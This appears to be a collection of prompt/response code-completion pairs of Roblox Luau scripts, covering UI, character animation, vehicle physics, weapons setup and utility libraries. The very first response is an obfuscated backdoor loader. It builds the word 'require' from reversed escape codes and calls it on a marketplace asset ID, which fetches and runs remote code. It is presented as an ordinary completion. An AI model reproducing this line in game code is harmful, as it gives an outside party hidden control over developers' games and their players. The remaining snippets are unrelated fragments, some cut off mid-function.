Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: --- Event handler for text box focus lost

Response:
function Window:LoseFocus(submit)
	local text = Entry.TextBox.Text

	self:ClearHistoryState()

	if Gui.Visible and not GuiService.MenuIsOpen then
		-- self:SetEntryText("")
		Entry.TextBox:CaptureFocus()
	elseif GuiService.MenuIsOpen and Gui.Visible then
		self:Hide()
	end

	if submit and self.Valid then
		wait()
		self:SetEntryText("")
		self.ProcessEntry(text)
	elseif submit then
		self:AddLine(self._errorText, Color3.fromRGB(255, 153, 153))
	end
end

function Window:TraverseHistory(delta)
	local history = self.Cmdr.Dispatcher:GetHistory()

	if self.HistoryState == nil then
		self.HistoryState = {
			Position = #history + 1,
			InitialText = self:GetEntryText(),
		}
	end

	self.HistoryState.Position = math.clamp(self.HistoryState.Position + delta, 1, #history + 1)

	self:SetEntryText(
		self.HistoryState.Position == #history + 1 and self.HistoryState.InitialText
			or history[self.HistoryState.Position]
	)
end

function Window:ClearHistoryState()
	self.HistoryState = nil
end

function Window:SelectVertical(delta)
	if self.AutoComplete:IsVisible() and not self.HistoryState then
		self.AutoComplete:Select(delta)
	else
		self:TraverseHistory(delta)
	end
end

local lastPressTime = 0
local pressCount = 0


Prompt: --//Controller//--

Response:
game.Players.PlayerAdded:Connect(function(Player)
	Player.CharacterAdded:Connect(function(Character)
		local Humanoid = Character:WaitForChild("Humanoid")

		if Humanoid then
			local Animator = Instance.new("Animator")
			Animator.Parent = Humanoid

		end
	end)
end)


Prompt:
--[[
	Allows creation of expectation statements designed for behavior-driven
	testing (BDD). See Chai (JS) or RSpec (Ruby) for examples of other BDD
	frameworks.

	The Expectation class is exposed to tests as a function called `expect`:

		expect(5).to.equal(5)
		expect(foo()).to.be.ok()

	Expectations can be negated using .never:

		expect(true).never.to.equal(false)

	Expectations throw errors when their conditions are not met.
]]

Response: local Expectation = {}


Prompt: --[[ SCRIPT VARIABLES ]]

Response:
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_PADDING = 12
local CHAT_BUBBLE_FADE_SPEED = 1.5

local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250	--This limits the number of bubble chats that you see above characters

local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1

local NEAR_BUBBLE_DISTANCE = 65	--previously 45
local MAX_BUBBLE_DISTANCE = 100	--previously 80


Prompt: -- declarations

Response:
local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true


Prompt: -- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/clearLine.ts


Prompt:
--[=[
	@param name string -- Name passed to `RunService:BindToRenderStep`
	@param priority number -- Priority passed to `RunService:BindToRenderStep`
	@param callbackFn UpdateCallbackFn

	Bind the `Update` method to RenderStep.

	All bond functions are cleaned up when the shake instance is stopped
	or destroyed.

	```lua
	local renderPriority = Enum.RenderPriority.Camera.Value

	local function SomeShake(pos: Vector3, rot: Vector3, completed: boolean)
		-- Shake
	end

	shake:BindToRenderStep("SomeShake", renderPriority, SomeShake)
	```
]=]

Response:
function Shake:BindToRenderStep(name: string, priority: number, callbackFn: UpdateCallbackFn)
	self._trove:BindToRenderStep(name, priority, function()
		callbackFn(self:Update())
	end)
end


Response:
function onRunning(speed)
	if speed > 0.01 then
		local scale = 16.0
		playAnimation("walk", 0.1, Humanoid)
		setAnimationSpeed(speed / scale)
		pose = "Running"
	else
		if emoteNames[currentAnim] == nil then
			playAnimation("idle", 0.1, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	local scale = 5.0
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / scale)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed > 1.00 then
		local scale = 10.0
		playAnimation("swim", 0.4, Humanoid)
		setAnimationSpeed(speed / scale)
		pose = "Swimming"
	else
		playAnimation("swimidle", 0.4, Humanoid)
		pose = "Standing"
	end
end

function getTool()
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == "Tool" then return kid end
	end
	return nil
end

function animateTool()

	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, Humanoid)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, Humanoid)
		return
	end
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		playAnimation("sit", 0.5, Humanoid)
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
		stopAllAnimations()
		amplitude = 0.1
		frequency = 1
		setAngles = true
	end

	-- Tool Animation handling
	local tool = getTool()
	if tool then

		local animStringValueObject = getToolAnim(tool)

		if animStringValueObject then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = time + .3
		end

		if time > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
		end

		animateTool()
	else
		stopToolAnimations()
		toolAnim = "None"
		toolAnimInstance = nil
		toolAnimTime = 0
	end
end


Prompt:
--- Removes the link of an attachment. Putting one of any of the two original attachments you used in LinkAttachment will automatically sever the other
-- @param attachment

Response:
function Hitbox:UnlinkAttachments(attachment: Attachment)
	for i = #self.HitboxRaycastPoints, 1, -1 do
		if #self.HitboxRaycastPoints[i].Instances >= 2 then
			if self.HitboxRaycastPoints[i].Instances[1] == attachment or self.HitboxRaycastPoints[i].Instances[2] == attachment then
				table.remove(self.HitboxRaycastPoints, i)
			end
		end
	end
end


Prompt: -- assume we are in the character, let's check

Response:
function sepuku()
	script.Parent = nil
end

local h = script.Parent:FindFirstChild("Humanoid")

if (h == nil) then sepuku() end

local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 1.5

local torso = script.Parent:FindFirstChild("Torso")

if (torso == nil) then sepuku() end

local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end

local s = Instance.new("Sparkles")
s.Color = Color3.new(0, .8, 0)
s.Parent = torso

local count = h:FindFirstChild("CoffeeCount")
if (count == nil) then
	count = Instance.new("IntValue")
	count.Name = "CoffeeCount"
	count.Value = 1
	count.Parent = h
else

	if (count.Value > 3) then
		if (math.random() > .5) then

			local sound = Instance.new("Sound")
			sound.SoundId = "rbxasset://sounds\\Rocket shot.wav"
			sound.Parent = head
			sound.Volume = 1
			sound:play()

			local e = Instance.new("Explosion")
			e.BlastRadius = 50
			e.Position = head.Position

			s:Clone().Parent = head
			e.Parent = head

		end
	end
	count.Value = count.Value + 1
end

wait(10)

h.WalkSpeed = oldSpeed
s:Remove()

script.Parent = nil


Prompt:
-- To adjust where your hat will be postioned on your head, go to the script line that says "h.AttachmentPos = Vector3.new(0,0,0)
-- The first number in the (0,0,0) will make your hat go to the left, or to the right, making the number positive will make your hat be
-- placed to the left, making it negative( ex. "-1") will make it be placed to the right. If your hat is pretty semetrical, you wont have to
-- adjust the first number, it stays usually in the middle, a zero.


Prompt: -- Don't edit below unless you know what you're doing.

Response:
function onClicked()
	Option()
end

script.Parent.MouseButton1Down:connect (onClicked)


Prompt:
--[=[
	@param inboundMiddleware ClientMiddleware?
	@param outboundMiddleware ClientMiddleware?
	@return table
	Returns an object which maps RemoteFunctions as methods
	and RemoteEvents as fields.
	```lua
	-- Server-side:
	serverComm:BindFunction("Test", function(player) end)
	serverComm:CreateSignal("MySignal")
	serverComm:CreateProperty("MyProperty", 10)

	-- Client-side
	local obj = clientComm:BuildObject()
	obj:Test()
	obj.MySignal:Connect(function(data) end)
	obj.MyProperty:Observe(function(value) end)
	```
]=]

Response:
function ClientComm:BuildObject(inboundMiddleware: Types.ClientMiddleware?, outboundMiddleware: Types.ClientMiddleware?)
	local obj = {}
	local rfFolder = self._instancesFolder:FindFirstChild("RF")
	local reFolder = self._instancesFolder:FindFirstChild("RE")
	local rpFolder = self._instancesFolder:FindFirstChild("RP")
	if rfFolder then
		for _, rf in ipairs(rfFolder:GetChildren()) do
			if not rf:IsA("RemoteFunction") then
				continue
			end
			local f = self:GetFunction(rf.Name, inboundMiddleware, outboundMiddleware)
			obj[rf.Name] = function(_self, ...)
				return f(...)
			end
		end
	end
	if reFolder then
		for _, re in ipairs(reFolder:GetChildren()) do
			if not re:IsA("RemoteEvent") then
				continue
			end
			obj[re.Name] = self:GetSignal(re.Name, inboundMiddleware, outboundMiddleware)
		end
	end
	if rpFolder then
		for _, re in ipairs(rpFolder:GetChildren()) do
			if not re:IsA("RemoteEvent") then
				continue
			end
			obj[re.Name] = self:GetProperty(re.Name, inboundMiddleware, outboundMiddleware)
		end
	end
	return obj
end


Prompt:
--README FOR EVERYONE:
--
-- Congratulations on your decision to open this script. If you're not already experienced with scripting, this is the first step on a journey that will improve you as
-- a developer, a future employee, and as a person. Don't let anything discourage you!
--
-- If you would like to tweak this gun, you should look at the ModuleScript named ModelConfiguration that is also a child of the Model in this Tool object. It is where
-- this specific weapon type's configuration values live.
--
--README FOR ADVANCED USERS:
--
-- This tool is part of a common "WeaponsSystem" set. There should be shared code found under the ServerWeaponsScript in a folder called WeaponsSystem if you got it from the Toolbox.
-- If you want to trim down the size of your place file, you can move this WeaponsSystem folder to be a descendant of ReplicatedStorage. It doesn't matter where, as long
-- as WeaponsSystem:IsDescendantOf(ReplicatedStorage) passes.
--
-- IMPORTANT: In order for the tools to find the WeaponsSystem folder if you have copied it yourself, the folder MUST be tagged as "WeaponsSystemFolder"! This system
-- absolutely relies on that fact. If you aren't familiar with the Tag Editor plugin, there is still an easy way to do this.
--
-- 1. Ensure the Command Bar is visible, this can be toggled in the VIEW tab in Studio.
-- 2. Select the WeaponsSystem folder that you want to be used.
-- 3. Copy and paste this code into the command bar: 	game:GetService("CollectionService"):AddTag(game.Selection:Get()[1], "WeaponsSystemFolder")
--
-- It is important to remember that this WeaponsSystem folder, ServerWeaponsScript, and ClientWeaponsScript are all versioned. This is tracked via an IntValue named "Version"
-- that is a direct child of each. These values must all have the same value in order to work. Of course, these values should be set when you download the model. If you decide
-- to change them manually, there are no guarantees that everything will work. It is not recommended to try to change these yourself.
--
-- Fear not, however, because you can actually still have multiple versions of the WeaponSystem in the same game. You can even rename the folders to differentiate them at a glance
-- if you'd like, as long as they still have the correct tag and the correct Version value.
--
-- If you want to create your own weapon types, please look at the WeaponTypes folder under the WeaponsSystem folder.

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local ServerScriptService = game:GetService("ServerScriptService")

local WEAPONS_SYSTEM_TAG = "WeaponsSystemFolder"

local versionObj = script:FindFirstChild("Version")
if not versionObj then
	error("ServerWeaponsScript does not contain an IntValue called Version. Cannot determine what WeaponsSystem to use.")
	return
end
local ScriptVersion = versionObj.Value

RunService.Heartbeat:Wait()
local ServerWeaponsScript = nil
for i, child in pairs(ServerScriptService:GetChildren()) do
	if child:IsA("Script") and child.Name == script.Name and CollectionService:HasTag(child, "ServerWeaponsSystem") then
		local childVersion = child:FindFirstChild("Version")
		if childVersion and childVersion:IsA("IntValue") and childVersion.Value == ScriptVersion then
			ServerWeaponsScript = child
			break
		end
	end
end

if ServerWeaponsScript and ServerWeaponsScript ~= script then
	local localWeaponsSystem = script:FindFirstChild("WeaponsSystem")
	if localWeaponsSystem then
		localWeaponsSystem:Destroy()
	end
	return
else
	CollectionService:AddTag(script, "ServerWeaponsSystem")
	script.Parent = ServerScriptService
end
print("Starting ServerWeaponsScript")

local WeaponsSystemFolder = nil
local function searchForWeaponsSystem()
	for i, weaponsSystem in pairs(CollectionService:GetTagged(WEAPONS_SYSTEM_TAG)) do
		if weaponsSystem:IsDescendantOf(ReplicatedStorage) then
			local systemVersionObj = weaponsSystem:FindFirstChild("Version")
			if systemVersionObj and systemVersionObj.Value == ScriptVersion then
				WeaponsSystemFolder = weaponsSystem
				break
			end
		end
	end
end

searchForWeaponsSystem()
if not WeaponsSystemFolder then
	local weaponsSystemTemplate = script:FindFirstChild("WeaponsSystem")
	if weaponsSystemTemplate then
		WeaponsSystemFolder = weaponsSystemTemplate:Clone()
		local librariesFolder = ReplicatedStorage:FindFirstChild("Libraries")
		WeaponsSystemFolder.Parent = librariesFolder or ReplicatedStorage

		CollectionService:AddTag(WeaponsSystemFolder, WEAPONS_SYSTEM_TAG)
	else
		--Guess we just need to wait for someone else to instantiate the proper WeaponsSystem.
		warn(string.format("The instance \"%s\" did not contain a WeaponsSystem folder and a matching version (%d) of the WeaponsSystem folder could not be found as a descendant of ReplicatedStorage. Did you forget to install the WeaponsSystem folder to ReplicatedStorage?",
			script.Parent:GetFullName(),
			ScriptVersion
		))
		while not WeaponsSystemFolder do
			CollectionService:GetInstanceAddedSignal(WEAPONS_SYSTEM_TAG):Wait()
			searchForWeaponsSystem()
		end
	end
end

assert(WeaponsSystemFolder, "No WeaponsSystem found, search failed in an interesting way?")

local WeaponsSystemModule = WeaponsSystemFolder:FindFirstChild("WeaponsSystem")
if not WeaponsSystemModule or not WeaponsSystemModule:IsA("ModuleScript") then
	error("No WeaponsSystemModule in the WeaponsSystem found!")
end

local WeaponsSystem = require(WeaponsSystemModule)
if not WeaponsSystem.doingSetup and not WeaponsSystem.didSetup then
	WeaponsSystem.setup()
end


Prompt: --[[Flip]]

Response:
	function Flip()
		--Detect Orientation
		if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then
			FlipWait=tick()

		--Apply Flip
		else
			if tick()-FlipWait>=3 then
				FlipDB=true
				local gyro = car.DriveSeat.Flip
				gyro.maxTorque = Vector3.new(10000,0,10000)
				gyro.P=3000
				gyro.D=500
				wait(1)
				gyro.maxTorque = Vector3.new(0,0,0)
				gyro.P=0
				gyro.D=0
				FlipDB=false
			end
		end
	end

	function AWD()
		if car.DriveSeat.AWD.Value then -- SET AWD
			if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then table.insert(Drive,v) end end end
		else --make FWD
			if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then table.remove(Drive,3) table.remove(Drive,4) end end end
		end
	end

	car.DriveSeat.AWD.Changed:connect(function()
		AWD()
	end)

	AWD()


Prompt: --[[Weight Scaling]]

Response:
	--[Cubic stud : pounds ratio]
	--[STANDARDIZED: Don't touch unless needed]
	Tune.WeightScaling = 1/50	--Default = 1/50 (1 cubic stud = 50 lbs)
	Tune.LegacyScaling = 1/10	--Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]

return Tune


Prompt: -- Adjust torque and springs based on gravity to keep the car drivable

Response:
local function gravityAdjust()
	local defaultGravity = 196.2
	local actualGravity = Workspace.Gravity
	local gravityChange = actualGravity / defaultGravity
	-- Speed is adjusted so that the height of jumps is preserved
	-- So maxSpeed is scaled proportionally to the sqrt of gravity
	ActualDrivingTorque = VehicleParameters.DrivingTorque * gravityChange
	ActualBrakingTorque = VehicleParameters.BrakingTorque * gravityChange

	ActualStrutSpringStiffnessFront = VehicleParameters.StrutSpringStiffnessFront * gravityChange
	ActualStrutSpringDampingFront = VehicleParameters.StrutSpringDampingFront * math.sqrt( gravityChange )
	ActualStrutSpringStiffnessRear = VehicleParameters.StrutSpringStiffnessRear * gravityChange
	ActualStrutSpringDampingRear = VehicleParameters.StrutSpringDampingRear * math.sqrt( gravityChange )

	ActualTorsionSpringStiffness = VehicleParameters.TorsionSpringStiffness * gravityChange
	ActualTorsionSpringDamping = VehicleParameters.TorsionSpringDamping * math.sqrt( gravityChange )
end

local function updateFromConfiguration()
	for property, value in pairs(VehicleParameters) do
		local configProp = VehicleConfig:FindFirstChild(property)
		if configProp then
			if property == "MaxSpeed" or property == "ReverseSpeed" then
				VehicleParameters[property] = configProp.Value/mphConversion -- convert to studs/sec
			else
				VehicleParameters[property] = configProp.Value
			end
		end
	end
end

local updateEvents
if VehicleConfig then
	updateFromConfiguration()

	updateEvents = {}
	local props = VehicleConfig:GetChildren()
	for i = 1, #props do
		updateEvents[props[i].Name] = props[i].Changed:connect(function(value)
			VehicleParameters[props[i].Name] = value
			if DoGravityAdjust then
				gravityAdjust()
			end
			if Chassis then
				Chassis.InitializeDrivingValues() -- reinitialize chassis so that changes are reflected in the rig
			end
		end)
	end
end

if DoGravityAdjust then
	gravityAdjust()
end

workspace.Changed:Connect(function(prop)
	if prop == "Gravity" then
		if DoGravityAdjust then
			gravityAdjust()
		end
		if Chassis then
			Chassis.InitializeDrivingValues() -- reinitialize chassis so that changes are reflected in the rig
		end
	end
end)

local Motors
local SteeringPrismatic
local RedressMount


Prompt:
--[=[
	@param optionB Option
	@return Option
	Returns `optionB` if the calling option has a value,
	otherwise returns None.

	```lua
	local optionA = Option.Some(32)
	local optionB = Option.Some(64)
	local opt = optionA:And(optionB)
	-- opt == optionB

	local optionA = Option.None
	local optionB = Option.Some(64)
	local opt = optionA:And(optionB)
	-- opt == Option.None
	```
]=]

Response:
function Option:And(optB)
	if self:IsSome() then
		return optB
	else
		return Option.None
	end
end


Prompt:
--[=[
	Checks if the given object is a Signal.

	@param obj any -- Object to check
	@return boolean -- `true` if the object is a Signal.
]=]

Response:
function Signal.Is(obj)
	return type(obj) == "table" and getmetatable(obj) == Signal
end


Prompt:
--[[
Tool.Handle.Touched:connect(function(part)

	if Tool.Handle.Fire.Enabled == false then
		return
	end
	local children = part:GetChildren()
	for i = 1, #children do
		if children[i].className == "Fire" then
			return
		end
	end
	if part.Parent == player then
		return
	end

	if part.Material ==  Enum.Material.Wood then
		local fire = Tool.Handle.Fire:clone()
		fire.Parent = part
		local light=Tool.Handle.PointLight:clone()
		light.Parent=part

		local fireScript = Tool.FireScript:clone()
		fireScript.Parent = part
		fireScript.Disabled = false

		debris:AddItem(fire,35)
		debris:AddItem(light,35)
	end

end)
--]]

Response:
Tool.Activated:connect(function()
	Tool.Handle.Fire.Enabled = not Tool.Handle.Fire.Enabled
	Tool.Handle.PointLight.Enabled = not Tool.Handle.PointLight.Enabled
	Tool.Handle.Light:Play()
end)


Prompt: --- STAGGERED RUNTIME ---

Response:
task.wait(1)

character_added(player.Character)


Prompt: --//Client Animations

Response:
		IdleAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
		end;

		StanceDown = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
			wait(0.3)
		end;

		StanceUp = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
			wait(0.3)
		end;

		Patrol = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
			wait(0.3)
		end;

		SprintAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
			wait(0.3)
		end;

		EquipAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
			wait(0.1)
			objs[5].Handle:WaitForChild("AimUp"):Play()
			ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
			ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
		end;

		ZoomAnim = function(char, speed, objs)
			--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
			ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
			wait(0.3)
		end;

		UnZoomAnim = function(char, speed, objs)
			--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
			ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
			wait(0.3)
		end;

		ChamberAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
			ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.25,0.15,-1.35) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
			wait(0.35)
			objs[5].Bolt:WaitForChild("SlidePull"):Play()
			ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.06,-0.1,-1.15) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
			wait(0.3)
			objs[5].Bolt:WaitForChild("SlideRelease"):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
		end;

		ChamberBKAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.38,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()
			wait(0.3)
			objs[5].Bolt:WaitForChild("SlideRelease"):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			wait(0.15)
		end;

		CheckAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			wait(.35)
			local MagC = objs[5]:WaitForChild("Mag"):clone()
				objs[5].Mag.Transparency = 1
				MagC.Parent = objs[5]
				MagC.Name = "MagC"
				MagC.Transparency = 0

			local MagCW = Instance.new("Motor6D")
				MagCW.Part0 = MagC
				MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
				MagCW.Parent = MagC
				MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
			ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			objs[5].Handle:WaitForChild("MagOut"):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
			wait(1.5)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			objs[5].Handle:WaitForChild("MagIn"):Play()
			MagC:Destroy()
			objs[5].Mag.Transparency = 0
			wait(1)
		end;

		ShellInsertAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
			wait(0.3)
			objs[5].Handle:WaitForChild("ShellInsert"):Play()
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
			objs[6].Value = objs[6].Value - 1
